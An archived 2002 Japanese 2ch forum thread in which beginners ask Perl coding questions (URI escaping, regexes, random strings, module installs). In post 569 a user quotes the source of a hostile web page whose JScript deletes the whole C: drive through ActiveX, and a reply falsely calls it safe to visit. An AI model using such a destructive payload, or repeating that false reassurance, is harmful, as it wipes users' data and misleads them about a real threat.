トップページ⇒php
1001コメント315KB

【Perl】初心者コーナー Part12

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん02/04/27 23:17ID:1NNXdNsp
 
いらっしゃーい、Perlの「コーディング」で困ってる人のスレです。

1:自分はこう言う事がしたい。
2:それでこんな風にやってみたが・・・
3:それだとこんなエラーが出て上手く行かなかった。

1と3が無いと誰も答えられないよ、良い回答は良い質問から。
一緒に勉強しましょう。

CGIの質問は【CGIだけどなんか質問ある Pert 6 】
http://pc.2ch.net/test/read.cgi/php/1019561283/
参考書籍の話題は【【Perl,CGI】参考書籍 第2版 】
http://pc.2ch.net/test/read.cgi/php/988809842/
その他の雑多な話題は、【CGIに依存しないPerlの話題一般】
http://pc.2ch.net/test/read.cgi/php/991313362/
スクリプトの改造依頼は 【スクリプト改造工房 Part4 】
http://pc.2ch.net/test/read.cgi/php/1012839651/

過去ログ、その他の役立ち情報は>>2-10を見よう。
 
0545nobodyさん02/05/06 19:25ID:???
>>544
だね。
0546nobodyさん02/05/06 19:28ID:0erw8YvU
>>545
やっぱりそうですか。。。
重くなるかと思って・・・。
ありがとうございました。
0547nobodyさん02/05/06 22:56ID:???
>>442
ありがとうございます。
>>456
サーバーエラーになりました。
>>462
動きましたがindex.htmlファイルは置いていってくれませんでした。
自作なのでしょうか。こんなのをすぐに作れるのはすごいと思います。
054846202/05/06 23:19ID:???
>>547
親ディレクトリには戻れないので、できるだけトップディレクトリに
置いてね。
0549nobodyさん02/05/07 02:34ID:???
>>545
え、なんで?そのまま使えるんでは?
(そうじゃなきゃSocket pipeliningとかできないじゃん)
055054902/05/07 02:36ID:???
あ、よくみたら544が使ってるのはHTTP/1.0だった。すまん。
HTTP/1.1ならできるはず。
0551nobodyさん02/05/07 08:03ID:???

アプロダ用意しといたので誰か使うときになったら使ってね

http://popup3.tok2.com/home/program/

0552nobodyさん02/05/07 14:12ID:???
perlで書かれたCGIの負荷を数値でみれるソフトとかってあります?
0553 02/05/07 15:10ID:???
>>552
ありません。
無理です。
0554nobodyさん02/05/07 18:00ID:???
ベンチマークテストすりゃいいじゃん。
0555nobodyさん02/05/07 19:43ID:???
>>554

それは答えになってないミョー(ι´д`)
0556nobodyさん02/05/07 22:14ID:???
数字の入った変数に千単位でカンマを挿入したいのですが、
どのようにしたらいいでしょうか。
ちなみに最初の一つだけ挿入できました。
0557nobodyさん02/05/07 22:29ID:???
はいはい、超FAQ。perlメモでもみれ。
http://www.din.or.jp/~ohzaki/perl.htm#NumberWithComma
0558nobodyさん02/05/07 22:35ID:???
ありがとうございます。すごい!一行でできるんですね。
0559nobodyさん02/05/08 00:54ID:ZY3V1UfD
>>533

調べてみたけど、"Visual Perl"しかめっかんなかった

http://www.activestate.com/Products/Visual_Perl/

これ、おもろそう、トライアル版ダウンしてみる

ところで、Active Perlと普通のUnixのPerlってどう違うの?
0560nobodyさん02/05/08 14:33ID:???
csvファイルの中から任意の文字列を検索し、一致したデータを
一覧表示するというものをつくりました。
その結果表示は10件以上になると「次の10件」をクリック
すると11件以降のものが表示される、というようにしています。
ところが、例えば「大阪」というキーワードで検索すると、最初
の10件は正常に結果が表示されます。
しかし次の10件以降の検索結果表示がうまくでないのです。
どうやらキーワードの「大阪」が2度目以降の送信時に文字化け
して検索結果0件となり上手く検索ができないようなのです。
さらによくわからないのが、一度「検索結果0件」とでたあとに
ブラウザを再表示すると、正常な結果がでてくるのです。
(他、新潟、埼玉、神奈川なども上手くいきません)
他の文字列では正常に動作しているのですが、これは原因として
どのようなことが考えられるのでしょうか?
基本的なことなのかもしれませんが、宜しくお願いします。
0561nobodyさん02/05/08 19:45ID:???
的外れだったらごめん。前回の検索文字列は次のアンカーに書き出すときに
URIエスケープしてなくない?

printf qq(<a href="%s">次の10件</a>), URI_Escape($search_value);

### URIエスケープ文字列を返す
sub URI_Escape {
my($string) = @_[0];
$string =~ s/(\W)/'%' . unpack('H2', $1)/eg;
return ($string);
}
0562nobodyさん02/05/08 19:51ID:???
$hoge = "ああss嗚呼aiuアイウエka書き句";
のときにパターンマッチングでひらがな、カタカナ、英数、漢字を
かたまりにしてカンマで区切りたいのですがどうしたらよいのでしょうか。
希望出力結果としては

ああ,ss,嗚呼,aiu,アイウエ,ka,書,き,句,

としたいと思っています。入力はEUCで行っています。
どうもperlで漢字やカタカナを一文字ずつチェックする方法がわからなくて・・・。
Jperlを使わない方法では無理なのでしょうか?
0563nobodyさん02/05/08 19:53ID:???
間違った。しかも遅レスだから見てないな。
printf qq(<a href="$0?value=%s">次の10件</a>), &URI_Escape($QUERY{'value'});
0564nobodyさん02/05/08 21:35ID:???
>>562
何に使うのか教えてくれたらズバリなモジュールを教えるが。
056556002/05/08 21:47ID:???
>>561

ありがとうございます。
実はまだよくわかっていないんですが、とりあえずレスいただいた内容を
理解できるように調べることからはじめてみます。
056656202/05/08 22:33ID:???
>>564
利用用途は大学の研究です。
データマイニングするためのキーワードを
Webから自動的に生成するのが目的です。
0567564s02/05/09 00:31ID:???
>>566
そうか。頑張ってくれ。ここのText::BroakIterator.pmを見るといいよ。
http://perl.infoware.ne.jp/source.html
056856202/05/09 00:34ID:???
>>567
ま、まさにこれです!これを作るために数日間
悩んでいた自分が馬鹿らしくなるくらいまさにこれそのものです!
ありがとうございます。こんな神のようなモジュールが存在するとは・・・。
0569訪問者02/05/09 03:37ID:???
質問させていただきたいと思います。
あるページを訪問したとき、下記のようなソースのページを見つけました。
このページを訪れたとき、どのような効果があるのでしょうか?
素人目から見てもDeleteFolder等、少々怖い文字があるので直接は訪れては
いないのですが…。
よろしくお願い申し上げます。

<html>
<head><title>Delete Drive:C</title></head>
<body>
<script language="Jscript">
var fso
fso=new ActiveXObject("Scripting.FileSystemObject")
fso.DeleteFolder("C:\\",true);
</script>
</body>
<html>

0570nobodyさん02/05/09 04:21ID:???
>569
どう見てもPerlではない。
0571nobodyさん02/05/09 06:12ID:GzFA/V4O
>>569
安全。安心してゴー。けどそのソース見る限り行った後の利益もなさそうだが
0572nobodyさん02/05/09 12:01ID:???
cgi-lib.pl使った、ファイルのアップロードについて解説してるページないですか?
0573nobodyさん02/05/09 13:53ID:???
シェルスクリプトを使った、ファイルのアップロードについて解説してるページないですか?
0574nobodyさん02/05/09 15:39ID:???
CGI.pm使った、ファイルのアップロードについて解説してるページないですか?
0575nobodyさん02/05/09 15:55ID:???
念力使った、ファイルのアップロードについて解説してるページないですか?
0576nobodyさん02/05/09 16:33ID:???
>>572-575
お前ら!人に聞く前にググルってください。
http://google.com
0577nobodyさん02/05/09 21:04ID:???
ググルを使った、ファイルのアップロードについて解説してるページないですか?
0578nobodyさん02/05/09 21:40ID:???
google で (?: のような perl でよく使う表記の記述方ってないですか?
'' や "" で囲っても - とかが勝手にエスケープされるんですけど・・・。
0579nobodyさん02/05/10 00:53ID:???
エスケープ使った、ファイルのアップロードについて解説してるページないですか?
0580nobodyさん02/05/10 01:23ID:???
ネットエスケープ使った、ファイルのアップロードについて解説してるページないですか?
0581nobodyさん02/05/10 01:40ID:pbuX7CBp
Javaのエラーログみたく、スタックダンプを表示したいんだけど、
やりかた、おせぇ〜て
0582nobodyさん02/05/10 02:18ID:???
CPANで拾ってきたモジュールをインストールしようとしたんだけど、
中見ると、モジュールファイルが一個だけで、何処にコピーしたら
いいか分らないんだけど、
インターネットで検索すると、perl Makefile.PLしたあと、
makeしてみたいなか事書いてあるんだけど、
ん〜〜、どうなってすか?
おせぇ〜て
0583nobodyさん02/05/10 04:06ID:???
>>581
print _STACK_DUMP_;

>>582
> perl Makefile.PL
> make
0584nobodyさん02/05/10 12:01ID:???
$xx++;
if($xx=2の倍数){$color=#FFFFFF;}
として2の倍数の時のみ色を白に変えたいんですけどどうすれば良いのでしょうか?
0585nobodyさん02/05/10 12:30ID:???
>>578
Googleサイトのマニュアルにある以上のことは無理。

>>581
Javaのエラーログがどんなのかは知らないが
Carp::cluckとCarp::confessをそれぞれwarnとdieの代わりに使ってみよ。
見当違いだったらすまそ。

>>582
ピュアPerlなんだな?*.xsっつーファイルはないんだな?
それなら@INCにあるフォルダに突っ込めばとりあえずは動く可能性がある。
環境変数PERL5LIBの意味も調べてみろ。
0586nobodyさん02/05/10 12:32ID:???
>>584

if($xx % 2){ .. }

これは「もし$xxが2で割り切れたら」と読む。
058758402/05/10 12:42ID:???
>>586
2で割り切れたら、、、。
すいませんありがとうございました。
2週間ぐらい考えてました。
0588数百のカテゴリ分け例を求む02/05/10 12:46ID:xN5d7c7l
>>587
SQLを使ってホームページの自動URLリンクプログラムを作っていますが、カテゴリー分けの作成に困っています。
数百程度に細かく分けたいのですが、自分で考えると偏りそうで。
カテゴリ分けサンプルなど参考になる文献やサイトはないでしょうか。
058958402/05/10 12:56ID:???
587でしょうか?
私でしたら2で割る数の求め方を知らなかった人間ですので、
ちょっと。
0590数十でもいいよ02/05/10 13:03ID:???
>>588 >>589
すみません。レスではありませんでした。
0591nobodyさん02/05/10 13:10ID:???
>>588
http://directory.google.co.jp/
http://www.yahoo.co.jp/
真っ先に思いつくこれらは参考にならんのだろうか
0592nobodyさん02/05/10 14:00ID:Pgg0tTKK
画像アップロードできる掲示板つくりたいんだけど、
やり方教えて・・・・。

0593nobodyさん02/05/10 14:31ID:???
>>592
作りたいものに近いcgiを落としてきてソース見て勉強しろ
0594nobodyさん02/05/10 14:52ID:???
>>586
「…割り切れなかったら」だべ。
0595nobodyさん02/05/10 14:54ID:Pgg0tTKK
>>593
http://sk.redbit.ne.jp/~tboard/cgiroom.html
ここの2番目のソースを見てみました。

どの辺がアップロードの処理なのか教えて・・・・・。
059658202/05/10 15:50ID:???
>>583
レスども、
tar.gzの中に、Makefile.PLが入ってないんですよ、
単に、*.pmファイルがあるだけで、
こういう場合どなんでしょ?
0597nobodyさん02/05/10 15:55ID:???
>>594
あっ…!

>>584
すまん、間違えた
「割り切れたら」は
if(($xx % 2) == 0){ ... }
だったわ。
0598数十でもいいよ02/05/10 16:37ID:mOuIPJt0
>>591
ありがとうございます。こちらはとてもよく構成されていると思いますが、どうも全体が見渡せません。
1ページ程度内にすべてのカテゴリーが一覧として載っていて全体がわかりやすいカテゴリーのリストを探しています。
0599nobodyさん02/05/10 16:57ID:???
>598
少しは努力しろよ
0600nobodyさん02/05/10 17:10ID:ZA7s2wmA
先生!漏れはバカなので本を見てもあまりよくわかりません
猿でも厨房でもわかるPerlの基礎について学べる
サイトを教えてください。(3にあるお薦めも難しいです・・・
0601nobodyさん02/05/10 17:40ID:???
(´-`).。oO(>>600 3にあるお薦めも駄目なら、逝ってヨシ…)

「プログラミング」という行為、学習で perl が初めてなら、
先ず、javascript 辺りから始める事をお薦めします。
perl はある程度他の言語の「プログラミング」経験が
ある人じゃないと、いきなり学習するのは辛いかと…
0602nobodyさん02/05/10 18:39ID:???
C++とPerlとJavaScriptをまとめて開きながら交互に作業してます。
ついつい文法がごっちゃになってエラー出してしまうオイラは逝ってよしですか?
0603nobodyさん02/05/10 18:58ID:Pgg0tTKK
     ____ 
     ◎;;;; ・∀・;;;) チクーワ
      ̄ ̄ ̄ ̄
0604nobodyさん02/05/10 21:05ID:DbBvL4ha
サンプルなどから作ったCGIなんですけど、
テストで10回に3回ほどサーバーが強制終了されてしまいます。
何がいけないのか教えてください。

ソースは
http://members.home.ne.jp/y-koike/bbs.txt
http://members.home.ne.jp/y-koike/show.txt
です。お願いします。
0605nobodyさん02/05/10 21:22ID:???
>>604
環境が全くわからずに答えろってか。
060660402/05/10 21:39ID:DbBvL4ha
…すみません。慌てて書き忘れました。
Win2000でhttpdVer.1.39f、PerlはActivePerlです。
0607nobodyさん02/05/10 21:53ID:/cNgrcGu
◎;;;; ・∀・;;;) チクーワ (・∀・)イイ!
0608nobodyさん02/05/10 22:39ID:???
>>604
ざっと見たが、とりあえずまともに動くコードには見えない。
だがサーバーが落ちるような原因は見当たらないな。
常に落ちるってのならともかく3/10じゃお手上げだ。

ついでに余計なおせっかいだが、
そのサンプルは相当な糞コードだな。
まともな本で勉強したほうがいいぞ。
060960402/05/10 23:06ID:DbBvL4ha
どうもありがとうございます。
やっぱサンプルから横着しないで一から自作だな…
0610nobodyさん02/05/11 02:07ID:qFv6V9OI
Perlだけで実現できる、SQL型データベースのモジュールって
無いですか?
0611nobodyさん02/05/11 05:07ID:???
use Psql;
0612nobodyさん02/05/11 08:42ID:gbNCX/hH
#!/usr/bin/perl

$hoge = "head:abc.abc.abc.def";

print "Before: $hoge\n";
$hoge =~ s/(head:)(abc\.)(.?)/$1$3/g;
print "After : $hoge\n";

このコードで、期待する結果として $hoge には head:def が
最終的に入るようにしたいのですが、やはり s/ の部分を
while で括るしかないのでしょうか?

$hoge =~ s/(head:)(abc\.)(.?)/$1$3/g;

$3 のところの特殊変数で「マッチしなかった文字列」なんて
あるわけないですよね…特定できないし…
0613nobodyさん02/05/11 09:56ID:???
>>612
どのフィールドが固定なのか条件をはっきりしやがれ。
0614nobodyさん02/05/11 11:21ID:???
>>612
まずは perlretut でも読め。繰り返し指定と ? の効果を調べろ。めちゃくちゃだ。
0615nobodyさん02/05/11 12:09ID:???
>>612
その場合なら普通に
$hoge =~ s/(head:).*(def)/$1$3/;
これでいいんじゃないの。
0616nobodyさん02/05/11 13:37ID:7MEyepY2
KENTさんの「自宅サーバー化計画」を見たのですが
CGIの動作を確認するならやはりこのように
オフラインでテストできるようにした方がいいのでしょうか?
0617nobodyさん02/05/11 13:51ID:???
>>616
俺はローカルテスト一切しないな。経験的にほぼ動作見切れるから。
0618nobodyさん02/05/11 14:08ID:???
>>616
当然。自分のサーバならともかく、人様のサーバでテストする奴は迷惑馬鹿。
0619nobodyさん02/05/11 14:29ID:???
んじゃ>>617は迷惑馬鹿ってことで。
0620nobodyさん02/05/11 15:07ID:???
>>616
バグの収束性は確実に早い。
0621 02/05/11 15:55ID:???
>>616
俺もやるな。
あぷする手間も省けるし。
0622nobodyさん02/05/11 17:28ID:???
経験的にほぼ動作見切れてる>>617が妄言を吐いているスレはここレスか?(藁
062361202/05/11 17:45ID:???
すんません。>>613 >>614 の言っている事が初心の俺には解りません

文字列の "head:" と "abc." は固定です。"head:" は必ず、行頭に
1回しか出てきませんが、"abc." は色んなところで複数回出てきます。
"def" は固定ではないので >>615 の場合だと、"def" 以外の時は
機能しなくなってしまいます
0624nobodyさん02/05/11 18:03ID:???
>>623
勉強する気は無いんかと。()でグルーピングして * とか + とか {m,n} とか知らんのかと。
$hoge =~ s/(?:abc\.)+//;
0625nobodyさん02/05/11 18:54ID:???
>>619
動作見切れて何故迷惑馬鹿?
0626nobodyさん02/05/11 18:59ID:???
>>622
小さいなあ。
君のような弱小レベルでは妄言に見えるけどそういうレベルの
人間も世の中には確実にいるのだよ(藁
0627nobodyさん02/05/11 19:19ID:???
617=625=626 ( ´,_ゝ`)プッ
0628しょぼいSE02/05/11 19:32ID:QCHMLNRj
2chらしい掲示板にマジ質問ですまん。
他人様のホームページをインラインフレームで表示するときに、表示した他人様のページのスクロールバーを消す方法ってある?
CGIでできるかと思ったけど、方法がわからん(−−;
0629nobodyさん02/05/11 19:49ID:???
>>622 設定ファイル書いて「このプログラムも完璧に動いた、俺って天才」つーてるんだよ。
そういう世界もある事をわかってやれ。
063061202/05/11 19:51ID:???
>>624
> 勉強する気は無いんかと。()でグルーピングして * とか + とか {m,n} とか知らんのかと。

ありがとうございます。ほとんど昨日、今日perl始めたばっかりの房なので…
() って、$1 とかに突っ込む以外にも効果あるんですね。
?: が無くても期待する結果が同じなのが謎なのでその辺を自分で勉強します
0631nobodyさん02/05/11 20:19ID:???
>>625
完璧に見切れます、というのならともかく「ほぼ」じゃダメだろ。
そもそも完璧じゃなさそうなのだが。まあ>>629が真実なんだろうな。
0632nobodyさん02/05/11 20:23ID:???
>>628
それはHTMLとかCSSの仕事。
HTMLならscrolling="no"、CSSならoverflow: hidden;あたり。Web製作板へGO。
0633nobodyさん02/05/11 21:42ID:???
>>617が馬鹿だってことは、経験的にほぼ見切れる俺。
063461602/05/11 22:28ID:???
とりあえずオフラインでも動くようにしてみます。ありがとでした。
0635nobodyさん02/05/12 00:32ID:Kq9I9f0M
perlで指定した文字数でランダムな英数字の文字列を生成するには
どうすればいいのでしょうか?
おしえてください。
0636nobodyさん02/05/12 00:38ID:???
>>635
範囲を決めてrand()とchr()で。
0637nobodyさん02/05/12 00:39ID:???
最近教えてスレッドとか改造スレッドみたい、ここ。

6文字で。
my @word = (0..9,'a'..'z','A'..'Z');
my $rand = '';
$rand .= $word[int rand @word] for (1..6);
0638nobodyさん02/05/12 00:43ID:???
>>636-637
できました!
どうもありがとうございます。
0639nobodyさん02/05/12 00:47ID:???
教えて!!!!!
0640nobodyさん02/05/12 01:15ID:???
>>639
や!!!!!
0641パルお02/05/12 01:40ID:eZiXZjwU
LPWモジュールでクッキーを受け取るにはどういう風に記述すればいいのでしょうか?
0642nobodyさん02/05/12 02:08ID:???
>>637 禿同。時々>>1を引用しておいた方がいいんじゃないか?

>いらっしゃーい、Perlの「コーディング」で困ってる人のスレです。
>
>1:自分はこう言う事がしたい。
>2:それでこんな風にやってみたが・・・
>3:それだとこんなエラーが出て上手く行かなかった。
>
>1と3が無いと誰も答えられないよ、良い回答は良い質問から。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
というわけで>>641 2:3:が無いよ、と言わせてもらって >>4に載ってるここ見た?
http://member.nifty.ne.jp/hippo2000/perltips/lwpcook.html#COOKIES
0643nobodyさん02/05/12 03:52ID:???
chr に 2byte 以上与えた場合の戻り値の規則を知りたいのですが、
my $num = shift;
print "$num => ", unpack("C*", chr($num)), "\n";

255 => 255
256 => 196128
257 => 196129

なんでこうなるの?
0644nobodyさん02/05/12 14:08ID:9L9P3cqp
Perlのスクリプトが動かないのです。
use Any〜でのデータベース使用の準備の後、
dbmopen〜|die〜;
tie〜|die〜;
の両方が死にます。
WindowsMeではパーミッション666のDBMデータベース使えないのでしょうか?
それともPerl5を入れれば改善されるのでしょうか?
激しく既出だとは思うのですが…
■ このスレッドは過去ログ倉庫に格納されています